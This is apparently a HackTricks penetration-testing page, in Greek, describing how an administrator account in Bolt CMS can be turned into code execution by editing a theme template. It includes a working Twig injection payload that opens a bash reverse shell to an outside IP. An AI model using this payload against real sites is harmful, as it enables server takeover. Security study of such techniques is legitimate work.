Bolt CMS

Support HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

RCE

Μετά την είσοδο ως διαχειριστής (πηγαίνετε στο /bot για να αποκτήσετε την προτροπή σύνδεσης), μπορείτε να αποκτήσετε RCE στο Bolt CMS:

• Επιλέξτε Configuration -> View Configuration -> Main Configuration ή πηγαίνετε στη διεύθυνση URL /bolt/file-edit/config?file=/bolt/config.yaml

• Ελέγξτε την τιμή του θέματος

• Επιλέξτε File management -> View & edit templates

• Επιλέξτε τη βάση του θέματος που βρέθηκε στο προηγούμενο βήμα (base-2021 σε αυτή την περίπτωση) και επιλέξτε index.twig

• Στην περίπτωσή μου, αυτό είναι στη διεύθυνση URL /bolt/file-edit/themes?file=/base-2021/index.twig

• Ορίστε το payload σας σε αυτό το αρχείο μέσω template injection (Twig), όπως: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}

• Και αποθηκεύστε τις αλλαγές

• Καθαρίστε την κρυφή μνήμη στο Maintenance -> Clear the cache

• Αποκτήστε ξανά πρόσβαση στη σελίδα ως κανονικός χρήστης, και το payload θα πρέπει να εκτελείται

Support HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.